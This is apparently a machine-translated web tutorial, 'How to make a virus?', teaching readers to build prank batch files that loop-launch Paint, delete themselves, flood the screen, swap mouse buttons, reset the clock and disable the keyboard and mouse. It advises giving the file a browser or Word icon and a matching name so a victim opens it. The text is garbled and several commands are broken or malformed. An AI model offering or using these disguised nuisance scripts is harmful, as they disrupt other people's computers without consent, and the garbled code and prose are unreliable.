How to make a virus?

How to make a virus?

viruses are written, as a rule, in order to spoil the life of another - "eat" space on his PC, disable the system to "crack" passwords, etc. Despite these..consequences, there are viruses created to simply make fun of a friend.Written this virus in five minutes, and he did not get up to anything critical system.The most common viruses, jokes are off the PC, repeatedly opening the same program, the withdrawal of the ridiculous text.

Such unpretentious viruses are created in Notepad (Notepad), except that it is not saved with the resolution.txt, and the batch file format.bat.

How do

virus Consider the stages, how to write a virus, repeatedly opening a single application.

  1. Open notebook - it is on the desktop right click and select "Create" → "Text Document".
  2. virus begins to fill our teams
    • @echo off // in this line suppresses teams
    • echo "the process started" // text that the user sees
    • start mspaint
    • goto: p // repeated start paint program
    • pause // pressing any key
    • del% 0 // self destruct virus
  3. have saved file icon change to a more popular (browser, word, etc), and prescribe an appropriate name.

few more possible draws:

a kind of screen the film "Matrix"

  • @echo off
  • color 2
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • echo 1185585851851891704148 1185585851851891704148
  • goto: a
  • pause

Changing jobs mouse buttons

  • % SystemRoot% / system32 / rundll32 user32, SwapMouseButton & gt;nul

Time Change

  • time 0:00

keyboard Disable

  • rundll32 keyboard, disable

Disabling mouse

  • rundll32 mouse, disable

We have considered the simplest and most innocuous ways to do mischieffriend.In fact, examining the system commands can be permanently "put" on someone else's computer system (and in its negligently).

The existence of different types of viruses, you can also learn from the article How to create a virus, but delve into this topic is not necessary, in order not to create yourself unnecessary problems and others.It is better to take care of the protection of your own computer and deliver reliable anti-virus software in order to not fall for the hoax friend or foe.